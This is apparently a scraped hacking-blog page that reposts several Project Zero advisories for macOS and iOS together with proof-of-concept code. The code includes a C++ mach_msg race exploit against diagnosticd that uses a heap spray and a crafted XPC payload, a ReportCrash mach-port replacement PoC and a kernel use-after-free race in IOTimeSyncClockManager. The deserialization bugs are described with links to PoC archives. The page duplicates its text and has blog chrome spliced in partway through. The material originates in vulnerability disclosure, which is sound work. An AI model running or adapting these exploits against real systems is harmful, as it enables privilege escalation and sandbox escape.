/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1083
When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition.
Exploitation:
We need specific code that references the memory twice from |mach_msg|.
Here's a snippet of such a function |xpc_dictionary_insert|.
v14 = strlen(shared_memory); <<-- 1st
v15 = _xpc_malloc(v14 + 41);
...
strcpy((char *)(v15 + 32), shared_memory); <<-- 2nd
If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow.
This bug is triggerable from a sandboxed process.
The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run.
Tested on macOS Sierra 10.12.2(16C67).
clang++ -o poc poc.cc -std=c++11
*/
/*
macOS/IOS: mach_msg: doesn't copy memory
When sending ool memory via |mach_msg| with |deallocate| flag or |MACH_MSG_VIRTUAL_COPY| flag, |mach_msg| performs moving the memory to the destination process instead of copying it. But it doesn't consider the memory entry object that could resurrect the moved memory. As a result, it could lead to a shared memory race condition.
Exploitation:
We need specific code that references the memory twice from |mach_msg|.
Here's a snippet of such a function |xpc_dictionary_insert|.
v14 = strlen(shared_memory); <<-- 1st
v15 = _xpc_malloc(v14 + 41);
...
strcpy((char *)(v15 + 32), shared_memory); <<-- 2nd
If we change the string's length bigger before |strcpy| is called, it will result in a heap overflow.
This bug is triggerable from a sandboxed process.
The attached PoC will crash diagnosticd(running as root). It requires more than 512MB memory to run.
Tested on macOS Sierra 10.12.2(16C67).
clang++ -o poc poc.cc -std=c++11
*/
#include <stdint.h>
#include <stdio.h>
#include <xpc/xpc.h>
#include <assert.h>
#include <iostream>
#include <CoreFoundation/CoreFoundation.h>
#include <dlfcn.h>
#include <mach/mach.h>
#include <mach-o/dyld_images.h>
#include <printf.h>
#include <dispatch/dispatch.h>
#include <vector>
#include <chrono>
#include <thread>
struct RaceContext {
std::vector<uint8_t> payload;
size_t race_offset;
std::vector<uint8_t> spray;
size_t spray_size;
};
xpc_object_t empty_request = xpc_dictionary_create(nullptr, nullptr, 0);
double now() {
return std::chrono::duration<double>(std::chrono::system_clock::now().time_since_epoch()).count();
}
mach_port_t createMemoryEntry(memory_object_size_t size) {
vm_address_t addr = 0;
vm_allocate(mach_task_self(), &addr, size, true);
memset((void*)addr, 0, size);
mach_port_t res = 0;
mach_make_memory_entry_64(mach_task_self(), &size, addr, 0x0000000000200043, &res, 0);
vm_deallocate(mach_task_self(), addr, size);
return res;
}
void sendPayload(const RaceContext* ctx) {
size_t data_size = ctx->spray_size;
mach_port_t mem_entry = createMemoryEntry(data_size);
uint8_t* data = nullptr;
vm_map(mach_task_self(), (vm_address_t*)&data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);
memcpy(data, &ctx->payload[0], ctx->payload.size());
for (size_t i = 0x1000; i < data_size; i += 0x1000) {
memcpy(&data[i], &ctx->spray[0], ctx->spray.size());
}
for (int32_t i = 0; i < 0x4000; i++) {
double start = now();
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
});
xpc_connection_resume(client);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
double duration = now() - start;
printf("duration: %f\n", duration);
if (duration > 2.0) {
xpc_release(client);
break;
}
mach_port_t service_port = ((uint32_t*)client)[15];
void* msg_data = nullptr;
vm_map(mach_task_self(), (vm_address_t*)&msg_data, data_size, 0LL, 1, mem_entry, 0LL, 0, 67, 67, 2u);
struct {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_ool_descriptor_t ool_desc;
} m = {};
m.hdr.msgh_size = sizeof(m);
m.hdr.msgh_local_port = MACH_PORT_NULL;
m.hdr.msgh_remote_port = service_port;
m.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND | MACH_MSGH_BITS_COMPLEX, 0);
m.hdr.msgh_id = 0x10000000;
m.body.msgh_descriptor_count = 1;
m.ool_desc.type = MACH_MSG_OOL_DESCRIPTOR;
m.ool_desc.address = msg_data;
m.ool_desc.size = (mach_msg_size_t)data_size;
m.ool_desc.deallocate = 1;
m.ool_desc.copy = MACH_MSG_VIRTUAL_COPY;
bool stop = true;
std::thread syncer([&] {
while (stop);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
stop = true;
});
size_t race_offset = ctx->race_offset;
__uint128_t orig = *(__uint128_t*)&data[race_offset];
__uint128_t new_one = *(const __uint128_t*)"AAAAAAAAAAAAAAAA";
mach_msg(&m.hdr, MACH_SEND_MSG, m.hdr.msgh_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
stop = false;
while (!stop) {
*(__uint128_t*)&data[race_offset] = orig;
*(__uint128_t*)&data[race_offset] = new_one;
}
syncer.join();
*(__uint128_t*)&data[race_offset] = orig;
xpc_release(client);
}
mach_port_deallocate(mach_task_self(), mem_entry);
}
const void* memSearch(const void* base, const void* data, size_t size) {
const uint8_t* p = (const uint8_t*)base;
for (;;) {
if (!memcmp(p, data, size))
return p;
p++;
}
}
void* getLibraryAddress(const char* library_name) {
task_dyld_info_data_t task_dyld_info;
mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT;
task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count);
const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr;
const struct dyld_image_info* image_infos = all_image_infos->infoArray;
for (size_t i = 0; i < all_image_infos->infoArrayCount; i++) {
const char* image_name = image_infos[i].imageFilePath;
mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress;
if (strstr(image_name, library_name)){
return (void*)image_load_address;
}
}
return 0;
}
void initRace(RaceContext* ctx) {
struct FakeObject {
void* unk[2];
void* ref_to_bucket;
void* padd[0x10];
struct {
const void* sel;
const void* func;
} bucket;
};
const uint32_t kXpcData[] = {0x58504321, 0x00000005, 0x0000f000, 0x00000964, 0x00000002, 0x69746361, 0x00006e6f, 0x00004000, 0x00000003, 0x00000000, 0x73646970, 0x00000000, 0x0000e000, 0x0000093c, 0x00000001, 0x0000f000, 0x00000930, 0x0000004b, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x00004000, 0x00000001, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x0000f000, 0x00000004, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000324, 0x00000032, 0x00003041, 0x0000f000, 0x00000004, 0x00000000, 0x00003141, 0x0000f000, 0x00000004, 0x00000000, 0x00003241, 0x0000f000, 0x00000004, 0x00000000, 0x00003341, 0x0000f000, 0x00000004, 0x00000000, 0x00003441, 0x0000f000, 0x00000004, 0x00000000, 0x00003541, 0x0000f000, 0x00000004, 0x00000000, 0x00003641, 0x0000f000, 0x00000004, 0x00000000, 0x00003741, 0x0000f000, 0x00000004, 0x00000000, 0x00003841, 0x0000f000, 0x00000004, 0x00000000, 0x00003941, 0x0000f000, 0x00000004, 0x00000000, 0x00303141, 0x0000f000, 0x00000004, 0x00000000, 0x00313141, 0x0000f000, 0x00000004, 0x00000000, 0x00323141, 0x0000f000, 0x00000004, 0x00000000, 0x00333141, 0x0000f000, 0x00000004, 0x00000000, 0x00343141, 0x0000f000, 0x00000004, 0x00000000, 0x00353141, 0x0000f000, 0x00000004, 0x00000000, 0x00363141, 0x0000f000, 0x00000004, 0x00000000, 0x00373141, 0x0000f000, 0x00000004, 0x00000000, 0x00383141, 0x0000f000, 0x00000004, 0x00000000, 0x00393141, 0x0000f000, 0x00000004, 0x00000000, 0x00303241, 0x0000f000, 0x00000004, 0x00000000, 0x00313241, 0x0000f000, 0x00000004, 0x00000000, 0x00323241, 0x0000f000, 0x00000004, 0x00000000, 0x00333241, 0x0000f000, 0x00000004, 0x00000000, 0x00343241, 0x0000f000, 0x00000004, 0x00000000, 0x00353241, 0x0000f000, 0x00000004, 0x00000000, 0x00363241, 0x0000f000, 0x00000004, 0x00000000, 0x00373241, 0x0000f000, 0x00000004, 0x00000000, 0x00383241, 0x0000f000, 0x00000004, 0x00000000, 0x00393241, 0x0000f000, 0x00000004, 0x00000000, 0x00303341, 0x0000f000, 0x00000004, 0x00000000, 0x00313341, 0x0000f000, 0x00000004, 0x00000000, 0x00323341, 0x0000f000, 0x00000004, 0x00000000, 0x00333341, 0x0000f000, 0x00000004, 0x00000000, 0x00343341, 0x0000f000, 0x00000004, 0x00000000, 0x00353341, 0x0000f000, 0x00000004, 0x00000000, 0x00363341, 0x0000f000, 0x00000004, 0x00000000, 0x00373341, 0x0000f000, 0x00000004, 0x00000000, 0x00383341, 0x0000f000, 0x00000004, 0x00000000, 0x00393341, 0x0000f000, 0x00000004, 0x00000000, 0x00303441, 0x0000f000, 0x00000004, 0x00000000, 0x00313441, 0x0000f000, 0x00000004, 0x00000000, 0x00323441, 0x0000f000, 0x00000004, 0x00000000, 0x00333441, 0x0000f000, 0x00000004, 0x00000000, 0x00343441, 0x0000f000, 0x00000004, 0x00000000, 0x00353441, 0x0000f000, 0x00000004, 0x00000000, 0x00363441, 0x0000f000, 0x00000004, 0x00000000, 0x00373441, 0x0000f000, 0x00000004, 0x00000000, 0x00383441, 0x0000f000, 0x00000004, 0x00000000, 0x00393441, 0x0000f000, 0x00000004, 0x00000000, 0x00003042, 0x0000f000, 0x00000004, 0x00000000, 0x00003142, 0x0000f000, 0x00000004, 0x00000000, 0x00003242, 0x0000f000, 0x00000004, 0x00000000, 0x00003342, 0x0000f000, 0x00000004, 0x00000000, 0x00003442, 0x0000f000, 0x00000004, 0x00000000, 0x00003542, 0x0000f000, 0x00000004, 0x00000000, 0x00003642, 0x0000f000, 0x00000004, 0x00000000, 0x00003742, 0x0000f000, 0x00000004, 0x00000000, 0x00003842, 0x0000f000, 0x00000004, 0x00000000, 0x00003942, 0x0000f000, 0x00000004, 0x00000000, 0x00303142, 0x0000f000, 0x00000004, 0x00000000, 0x00313142, 0x0000f000, 0x00000004, 0x00000000, 0x00323142, 0x0000f000, 0x00000004, 0x00000000, 0x00333142, 0x0000f000, 0x00000004, 0x00000000, 0x00343142, 0x0000f000, 0x00000004, 0x00000000, 0x00353142, 0x0000f000, 0x00000004, 0x00000000, 0x00363142, 0x0000f000, 0x00000004, 0x00000000, 0x00373142, 0x0000f000, 0x00000004, 0x00000000, 0x00383142, 0x0000f000, 0x00000004, 0x00000000, 0x00393142, 0x0000f000, 0x00000004, 0x00000000, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x51515151, 0x00515151, 0x00008000, 0x00000009, 0x68746d69, 0x67617465, 0x00000000, 0x65746661, 0x00000072, 0x0000f000, 0x00000004, 0x00000000};
const size_t kTagOffset = 0x954;
const uintptr_t kSprayedAddr = 0x120101010;
//ctx->data.resize(0x10000);
ctx->payload.resize(0x1000);
ctx->race_offset = kTagOffset - 0x10;
memcpy(&ctx->payload[0], kXpcData, sizeof(kXpcData));
*(uintptr_t*)&ctx->payload[kTagOffset] = kSprayedAddr;
ctx->spray.resize(0x300);
ctx->spray_size = 1024 * 1024 * 512;
void* libdispatch = getLibraryAddress("libdispatch.dylib");
FakeObject* predict = (FakeObject*)kSprayedAddr;
FakeObject* obj = (FakeObject*)&ctx->spray[kSprayedAddr & 0xff];
obj->ref_to_bucket = &predict->bucket;
obj->bucket.sel = memSearch(libdispatch, "_xref_dispose", 14);
obj->bucket.func = (void*)0x9999;
}
int32_t main() {
xpc_connection_t client = xpc_connection_create_mach_service("com.apple.diagnosticd", NULL, 0);
xpc_connection_set_event_handler(client, ^(xpc_object_t event) {
});
xpc_connection_resume(client);
xpc_release(xpc_connection_send_message_with_reply_sync(client, empty_request));
RaceContext ctx;
initRace(&ctx);
printf("attach the debugger to diagnosticd\n");
getchar();
sendPayload(&ctx);
return 0;
}
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
A group blog by Leader in
Hacker Website - Providing Professional Ethical Hacking Services
-
Entries
16114 -
Comments
7952 -
Views
863112609
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
/*
ReportCrash is the daemon responsible for making crash dumps of crashing userspace processes.
Most processes can talk to ReportCrash via their exception ports (either task or host level.)
You would normally never send a message yourself to ReportCrash but the kernel would do it
on your behalf when you crash. However using the task_get_exception_ports or host_get_exception_ports
MIG kernel methods you can get a send right to ReportCrash.
ReportCrash implements a mach_exc subsystem (2405) server and expects to receive
mach_exception_raise_state_identity messages. The handler for these messages is at +0x2b11 in 10.13.3.
The handler compares its euid with the sender's; if they are different it jumps straight to the error path:
__text:0000000100002BD5 cmp rbx, rax
__text:0000000100002BD8 mov r14d, 5
__text:0000000100002BDE jnz loc_100002DCF
__text:0000000100002DCF mov rbx, cs:_mach_task_self__ptr
__text:0000000100002DD6 mov edi, [rbx] ; task
__text:0000000100002DD8 mov rsi, qword ptr [rbp+name] ; name
__text:0000000100002DDC call _mach_port_deallocate
__text:0000000100002DE1 mov edi, [rbx] ; task
__text:0000000100002DE3 mov esi, r12d ; name
__text:0000000100002DE6 call _mach_port_deallocate
__text:0000000100002DEB mov rax, cs:___stack_chk_guard_ptr
__text:0000000100002DF2 mov rax, [rax]
__text:0000000100002DF5 cmp rax, [rbp+var_30]
__text:0000000100002DF9 jnz loc_10000314E
__text:0000000100002DFF mov eax, r14d
This error path drops a UREF on the task and thread port arguments then returns error code 5.
MIG will see this error and drop another UREF on the thread and port arguments. As detailed in
the mach_portal exploit [https://bugs.chromium.org/p/project-zero/issues/detail?id=959] such bugs can
be used to replace privileged port names leading to exploitable conditions.
Since this path will only be triggered if you can talk to a ReportCrash running with a different euid
a plausible exploitation scenario would be trying to pivot from code execution in a sandbox root process
to another one with more privileges (eg kextd on MacOS or amfid on iOS) going via ReportCrash (as ReportCrash
will get sent their task ports if you can crash them.)
This PoC demonstrates the bug by destroying ReportCrash's send right to logd; use a debugger or lsmp to see
what's happening.
Tested on MacOS 10.13.3 17D47
*/
// ianbeer
#if 0
MacOS/iOS ReportCrash mach port replacement due to failure to respect MIG ownership rules
ReportCrash is the daemon responsible for making crash dumps of crashing userspace processes.
Most processes can talk to ReportCrash via their exception ports (either task or host level.)
You would normally never send a message yourself to ReportCrash but the kernel would do it
on your behalf when you crash. However using the task_get_exception_ports or host_get_exception_ports
MIG kernel methods you can get a send right to ReportCrash.
ReportCrash implements a mach_exc subsystem (2405) server and expects to receive
mach_exception_raise_state_identity messages. The handler for these messages is at +0x2b11 in 10.13.3.
The handler compares its euid with the sender's; if they are different it jumps straight to the error path:
__text:0000000100002BD5 cmp rbx, rax
__text:0000000100002BD8 mov r14d, 5
__text:0000000100002BDE jnz loc_100002DCF
__text:0000000100002DCF mov rbx, cs:_mach_task_self__ptr
__text:0000000100002DD6 mov edi, [rbx] ; task
__text:0000000100002DD8 mov rsi, qword ptr [rbp+name] ; name
__text:0000000100002DDC call _mach_port_deallocate
__text:0000000100002DE1 mov edi, [rbx] ; task
__text:0000000100002DE3 mov esi, r12d ; name
__text:0000000100002DE6 call _mach_port_deallocate
__text:0000000100002DEB mov rax, cs:___stack_chk_guard_ptr
__text:0000000100002DF2 mov rax, [rax]
__text:0000000100002DF5 cmp rax, [rbp+var_30]
__text:0000000100002DF9 jnz loc_10000314E
__text:0000000100002DFF mov eax, r14d
This error path drops a UREF on the task and thread port arguments then returns error code 5.
MIG will see this error and drop another UREF on the thread and port arguments. As detailed in
the mach_portal exploit [https://bugs.chromium.org/p/project-zero/issues/detail?id=959] such bugs can
be used to replace privileged port names leading to exploitable conditions.
Since this path will only be triggered if you can talk to a ReportCrash running with a different euid
a plausible exploitation scenario would be trying to pivot from code execution in a sandbox root process
to another one with more privileges (eg kextd on MacOS or amfid on iOS) going via ReportCrash (as ReportCrash
will get sent their task ports if you can crash them.)
This PoC demonstrates the bug by destroying ReportCrash's send right to logd; use a debugger or lsmp to see
what's happening.
Tested on MacOS 10.13.3 17D47
build: cp /usr/include/mach/mach_exc.defs . && mig mach_exc.defs && clang -o rc rc.c mach_excUser.c
run: sudo ./rc
#endif
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <servers/bootstrap.h>
#include <mach/mach.h>
#include <mach/task.h>
#include "mach_exc.h"
#include <mach/exception_types.h>
void drop_ref(mach_port_t report_crash_port, mach_port_t target_port) {
int flavor = 0;
mach_msg_type_number_t new_stateCnt = 0;
kern_return_t err = mach_exception_raise_state_identity(
report_crash_port,
target_port,
MACH_PORT_NULL,
0,
0,
0,
&flavor,
NULL,
0,
NULL,
&new_stateCnt);
}
int main() {
int uid = getuid();
if (uid != 0) {
printf("this PoC should be run as root\n");
return 0;
}
// take a look at our exception ports:
exception_mask_t masks[EXC_TYPES_COUNT] = {0};
mach_msg_type_number_t count = EXC_TYPES_COUNT;
mach_port_t ports[EXC_TYPES_COUNT] = {0};
exception_behavior_t behaviors[EXC_TYPES_COUNT] = {0};
thread_state_flavor_t flavors[EXC_TYPES_COUNT] = {0};
kern_return_t err = host_get_exception_ports(mach_host_self(),
//kern_return_t err = task_get_exception_ports(mach_task_self(),
EXC_MASK_ALL,
masks,
&count,
ports,
behaviors,
flavors);
if (err != KERN_SUCCESS) {
printf("failed to get the exception ports\n");
return 0;
}
printf("count: %d\n", count);
mach_port_t report_crash_port = MACH_PORT_NULL;
for (int i = 0; i < count; i++) {
mach_port_t port = ports[i];
exception_mask_t mask = masks[i];
printf("port: %x %08x\n", port, mask);
if (mask & (1 << EXC_RESOURCE)) {
report_crash_port = port;
}
}
if (report_crash_port == MACH_PORT_NULL) {
printf("couldn't find ReportCrash port\n");
return 0;
}
printf("report crash port: 0x%x\n", report_crash_port);
// the port we will target:
mach_port_t bs = MACH_PORT_NULL;
task_get_bootstrap_port(mach_task_self(), &bs);
printf("targeting bootstrap port: %x\n", bs);
mach_port_t service_port = MACH_PORT_NULL;
err = bootstrap_look_up(bs, "com.apple.logd", &service_port);
if(err != KERN_SUCCESS){
printf("unable to look up target service\n");
return 0;
}
printf("got service: 0x%x\n", service_port);
// triggering the bug requires that we send from a different uid
// drop to everyone(12)
int setuiderr = setuid(12);
if (setuiderr != 0) {
printf("setuid failed...\n");
return 0;
}
printf("dropped to uid 12\n");
drop_ref(report_crash_port, service_port);
return 0;
}
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1170
Via NSUnarchiver we can read NSBuiltinCharacterSet with a controlled serialized state.
It reads a controlled int using decodeValueOfObjCType:"i" then either passes it to
CFCharacterSetGetPredefined or uses it directly to manipulate __NSBuiltinSetTable.
Neither path has any bounds checking and the index is used to maniupulate c arrays of pointers.
Attached python script will generate a serialized NSBuiltinCharacterSet with a value of 42
for the character set identifier.
tested on MacOS 10.12.3 (16D32)
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42050.zip
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1377
IOTimeSyncClockManagerUserClient provides the userspace interface for the IOTimeSyncClockManager IOService.
IOTimeSyncClockManagerUserClient overrides the IOUserClient::clientClose method but it treats it like a destructor.
IOUserClient::clientClose is not a destructor and plays no role in the lifetime management of an IOKit object.
It is perfectly possible to call ::clientClose (via io_service_close) in one thread and call an external method in another
thread at the same time.
IOTimeSyncClockManagerUserClient::clientClose drops references on a bunch of OSArrays causing them to be free'd,
it also destroys the locks which are supposed to protect access to those arrays. This leads directly to multiple UaFs
if you also call external methods which manipulate those arrays in other threads.
For an exploit some care would be required to ensure correct interleaving such that the OSArray was destroyed and then
used *before* the lock which is supposed to be protecting the array is also destroyed, but it would be quite possible.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
*/
// ianbeer
// build: clang -o timesync_uaf timesync_uaf.c -framework IOKit -lpthread
// repro: while true; do ./timesync_uaf; done
#if 0
MacOS multiple kernel UAFs due to incorrect IOKit object lifetime management in IOTimeSyncClockManagerUserClient
IOTimeSyncClockManagerUserClient provides the userspace interface for the IOTimeSyncClockManager IOService.
IOTimeSyncClockManagerUserClient overrides the IOUserClient::clientClose method but it treats it like a destructor.
IOUserClient::clientClose is not a destructor and plays no role in the lifetime management of an IOKit object.
It is perfectly possible to call ::clientClose (via io_service_close) in one thread and call an external method in another
thread at the same time.
IOTimeSyncClockManagerUserClient::clientClose drops references on a bunch of OSArrays causing them to be free'd,
it also destroys the locks which are supposed to protect access to those arrays. This leads directly to multiple UaFs
if you also call external methods which manipulate those arrays in other threads.
For an exploit some care would be required to ensure correct interleaving such that the OSArray was destroyed and then
used *before* the lock which is supposed to be protecting the array is also destroyed, but it would be quite possible.
Tested on MacOS 10.13 (17A365) on MacBookAir5,2
#endif
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <pthread.h>
#include <mach/mach.h>
#include <IOKit/IOKitLib.h>
int go = 0;
void* thread_func(void* arg) {
io_object_t conn = (io_object_t)arg;
go = 1;
IOServiceClose(conn);
return 0;
}
int main(int argc, char** argv){
kern_return_t err;
io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOTimeSyncClockManager"));
if (service == IO_OBJECT_NULL){
printf("unable to find service\n");
return 0;
}
io_connect_t conn = MACH_PORT_NULL;
err = IOServiceOpen(service, mach_task_self(), 0, &conn);
if (err != KERN_SUCCESS){
printf("unable to get user client connection\n");
return 0;
}
pthread_t thread;
pthread_create(&thread, NULL, thread_func, (void*)conn);
while(!go){;}
uint64_t inputScalar[16];
uint64_t inputScalarCnt = 0;
char inputStruct[4096];
size_t inputStructCnt = 0;
uint64_t outputScalar[16];
uint32_t outputScalarCnt = 1;
char outputStruct[4096];
size_t outputStructCnt = 0;
err = IOConnectCallMethod(
conn,
1,
inputScalar,
inputScalarCnt,
inputStruct,
inputStructCnt,
outputScalar,
&outputScalarCnt,
outputStruct,
&outputStructCnt);
printf("%x\n", err);
return 0;
}
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1168
The dump today has this list of iOS stuff:
https://wikileaks.org/ciav7p1/cms/page_13205587.html
Reading through this sounded interesting:
"""
Buffer Overflow caused by deserialization parsing error in Foundation library
Sending a crafted NSArchiver object to any process that calls NSArchive unarchive method will result in
a buffer overflow, allowing for ROP.
"""
So I've spent all day going through initWithCoder: implementations looking for heap corruption :)
The unarchiving of NSCharacterSet will call NSCharacterSetCFCharacterSetCreateWithBitmapRepresentation
If we pass a large bitmap we can get to the following call multiple times:
while (length > 1) {
annexSet = (CFMutableCharacterSetRef)__CFCSetGetAnnexPlaneCharacterSet(cset, *(bytes++));
Here's that function (from the quite old CF code, but the disassm still matches)
CF_INLINE CFCharacterSetRef __CFCSetGetAnnexPlaneCharacterSet(CFCharacterSetRef cset, int plane) {
__CFCSetAllocateAnnexForPlane(cset, plane);
if (!__CFCSetAnnexBitmapGetPlane(cset->_annex->_validEntriesBitmap, plane)) {
cset->_annex->_nonBMPPlanes[plane - 1] = (CFCharacterSetRef)CFCharacterSetCreateMutable(CFGetAllocator(cset));
__CFCSetAnnexBitmapSetPlane(cset->_annex->_validEntriesBitmap, plane);
}
return cset->_annex->_nonBMPPlanes[plane - 1];
}
note the interesting [plane - 1], however if we just call this with plane = 0 first
__CFCSetAllocateAnnexForPlane will set the _nonBMPPlanes to NULL rather than allocating it
but if we supply a large enough bitmap such that we can call __CFCSetGetAnnexPlaneCharacterSet twice,
passing 1 the first time and 0 the second time then we can reach:
cset->_annex->_nonBMPPlanes[plane - 1] = (CFCharacterSetRef)CFCharacterSetCreateMutable(CFGetAllocator(cset));
with plane = 0 leading to writing a pointer to semi-controlled data one qword below the heap allocation _nonBMPPlanes.
This PoC is just a crasher but it looks pretty exploitable.
The wikileaks dump implies that this kind of bug can be exploited both via IPC and as a persistence mechanism where apps
serialize objects to disk. If I come up with a better PoC for one of those avenues I'll attach it later.
(note that the actual PoC object is in the other file (longer_patched.bin)
tested on MacOS 10.12.3 (16D32)
################################################################################
A few notes on the relevance of these bugs:
NSXPC uses the "secure" version of NSKeyedArchiver where the expected types have to be declared upfront by a message receiver. This restricts the NSXPC attack surface for these issues to either places where overly broad base classes are accepted (like NSObject) or to just those services which accept classes with vulnerable deserializers.
There are also other services which use NSKeyedArchives in the "insecure" mode (where the receiver doesn't supply a class whitelist.) Some regular (not NSXPC) xpc services use these. In those cases you could use these bugs to escape sandboxes/escalate privileges.
Lots of apps serialize application state to NSKeyedArchives and don't use secure coding providing an avenue for memory-corruption based persistence on iOS.
Futhermore there seem to be a bunch of serialized archives on the iPhone which you can touch via the services exposed by lockdownd (over the USB cable) providing an avenue for "local" exploitation (jumping from a user's desktop/laptop to the phone.) The host computer would need to have a valid pairing record to do this without prompts.
For example the following files are inside the AFC jail:
egrep -Rn NSKeyedArchiver *
Binary file Downloads/downloads.28.sqlitedb matches
Binary file Downloads/downloads.28.sqlitedb-wal matches
Binary file PhotoData/AlbumsMetadata/0F31509F-271A-45BA-9E1F-C6F7BC4A537F.foldermetadata matches
Binary file PhotoData/FacesMetadata/NVP_HIDDENFACES.hiddenfacemetadata matches
00006890 | 24 76 65 72 73 69 6F 6E 58 24 6F 62 6A 65 63 74 | $versionX$object
000068A0 | 73 59 24 61 72 63 68 69 76 65 72 54 24 74 6F 70 | sY$archiverT$top
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42049.zip
I have previously detailed the lifetime management paradigms in MIG in the writeups for:
CVE-2016-7612 [https://bugs.chromium.org/p/project-zero/issues/detail?id=926]
and
CVE-2016-7633 [https://bugs.chromium.org/p/project-zero/issues/detail?id=954]
If a MIG method returns KERN_SUCCESS it means that the method took ownership of *all* the arguments passed to it.
